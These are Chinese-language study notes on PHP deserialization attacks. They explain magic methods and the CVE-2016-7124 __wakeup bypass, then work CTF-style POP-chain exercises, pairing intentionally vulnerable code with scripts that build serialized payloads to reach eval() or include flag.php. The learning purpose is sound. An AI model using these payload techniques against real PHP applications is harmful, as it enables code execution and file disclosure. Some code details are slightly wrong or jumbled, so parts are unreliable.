php反序列化学习笔记
php反序列化
访问修饰符
| 访问修饰符 | 方法 | 例(从 pulibc 改为对应值) |
|---|---|---|
public |
成员名 | s:7:"payl0ad" -> s:7:"payl0ad" |
private |
%00类名%00成员名 | s:3:"sec" -> s:13:"%00class002%00sec" |
protected |
%00*%00成员名 | s:4:"what" -> s:7:"%00*%00what" |
魔术方法
魔术方法在特定条件下自动调用相关方法,最终导致触发代码
一个预定义好的,在特定情况下自动触发的行为方法。
反序列化漏洞的成因:
反序列化过程中,unserialize()接收的值(字符串)可控通过更改这个值(字符串),得到所需要的代码
通过调用方法,触发代码执行。

__construct()
构造函数__construct(),在实例化一个对象的时候,首先会去自动执行该方法
<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben"); //实例化对象时触发构造函数__construct()
$ser = serialize($test); //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>
__destruct()
析构函数__destruct(),当对象被销毁的时候,会自动执行该方法
触发时机:反序列化unserialize()之后
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");//第一次触发
$ser = serialize($test);
unserialize($ser);//第二次触发
?>
__sleep()
在序列化过程中,如果存在sleep()方法,先执行sleep()方法,再执行序列化
触发时机:序列化serialize() 之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:return array
返回值:username,nickname
<?php
highlight_file(__FILE__);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
输出:
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
在这个例子中,sleep()方法返回了username和nickname两个属性,
所以只序列化这两个属性,
而password属性被过滤掉了。
__wakeup()
在反序列化过程中,如果存在__wakeup()方法,先执行__wakeup()方法,再执行反序列化
触发时机:反序列化unserialize()之前
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
输出:
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }
__wakeup()绕过
CVE-2016-7124
版本:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
漏洞产生原因:
如果存在 __wakeup()方法,调用unserilize()方法前则先调用 __wakeup方法,
但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时,会跳过wakeup()的执行
0:4:"test":2:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}
//修改属性个数 2 -> 3
0:4:"test":3:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}
成员属性个数值为3
但后面实际只有v1和v2
2个成员属性
例题
<?php
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
<?php
error_reporting(0);
class secret{
var $file='flag.php';
}
$secret = new secret();
echo serialize($secret);
//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$a ='O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
//+6绕过正则匹配
echo urlencode($a);
__toString()
触发时机:当对象作为字符串调用时
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test); //正常输出
echo "<br />";
echo $test; //对象被作为字符串输出
?>
输出:
User Object ( [benben] => this is test!! )
格式不对,输出不了!
__invoke()
触发时机:当对象作为函数调用时
对象后面加个()
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben;
?>
输出:
this is test!!
它不是个函数!
__call()
触发时机:当对象调用不存在的方法时 返回值:调用的不存在的方法的名称和参数
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>
输出:
callxxx,a
在这个例子中,我们调用了不存在的方法callxxx和参数a,输出了callxxx,a
__callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在 返回值:调用的不存在的方法的名称和参数
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a'); //与__call() 的区别
?>
输出:
callxxx,a
__get()
触发时机:调用的成员属性不存在 返回值:不存在的成员属性的名称
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2; //调用不存在的var2
?>
输出:
var2
把不存在的属性名称var2赋值给$arg1
__set()
触发时机:给不存在的成员属性赋值 返回值:不存在的成员属性的名称和赋值
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>
输出:
var2,1
在这个例子中,我们把不存在的属性var2赋值为1,触发了__set()方法
var2赋值给$arg1,1赋值给$arg2
__isset()
触发时机:对不可访问属性使用isset()或empty()时,_isset()会被调用。
返回值:不存在的成员属性的名称
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
empty($test->var);
?>
输出:
var
var
在这个例子中,尝试在isset()和empty()中外部访问private属性var,
__isset()会被调用,将var作为参数传入给$arg1
注意,var改成不存在的变量比如var1,效果相同
__unset()
和__isset()差不多
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>
输出:
var
__clone()
触发时机:当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法_clone()
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>
输出:
__clone test
pop链构造例题
简单例题1
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>
方法1:在方法内构造
<?php
class index {
private $test;
public function __construct() {
$this->test = new evil();
}
}
class evil {
var $test2 = "phpinfo();";
}
$index = new index();
$serialize = serialize($index);
echo $serialize;
echo urlencode($serialize);
方法2:在方法外修改
<?php
class index {
var $test;
}
class evil {
var $test2;
}
$evil = new evil();
$evil -> test2 = "phpinfo();";
$index = new index();
$index -> test = $evil;
$serialize = serialize($index);
echo $serialize;
echo urlencode($serialize);
输出:
O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}}
注意修改访问修饰符 public -> private
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}}
简单例题2:魔法方法
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>
触发__tostring()方法
payload:
<?php
class fast {
public $source;
public function __construct(){
$this->source = new sec();
}
}
class sec {
var $benben;
}
$test = new fast();
echo serialize($test);
简单例题3
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
思路:
Modifier -> $var = "flag.php"- 使用
Modifier的__invoke(),从而触发1. Test --> $p = Modifier,使用Test的__get(),将Modifier作为函数调用,从而触发2.的Modifier__invoke()- 调用不存在的Test成员,从而触发3.Test的
__get() - Show –> $str = Test,使用__toString(),触发4.调用不存在的Test成员
- Show –> $source = Show,使用__wakeup()方法触发5.(注意__wakeup()方法调用自己
\$Show)
<?php
class Modifier {
private $var = "flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$Modifier = new Modifier();
$Test = new Test();
$Test->p = $Modifier;
$Show = new Show();
$Show -> str = $Test;
$Show ->source = $Show;
echo urlencode(serialize($Show));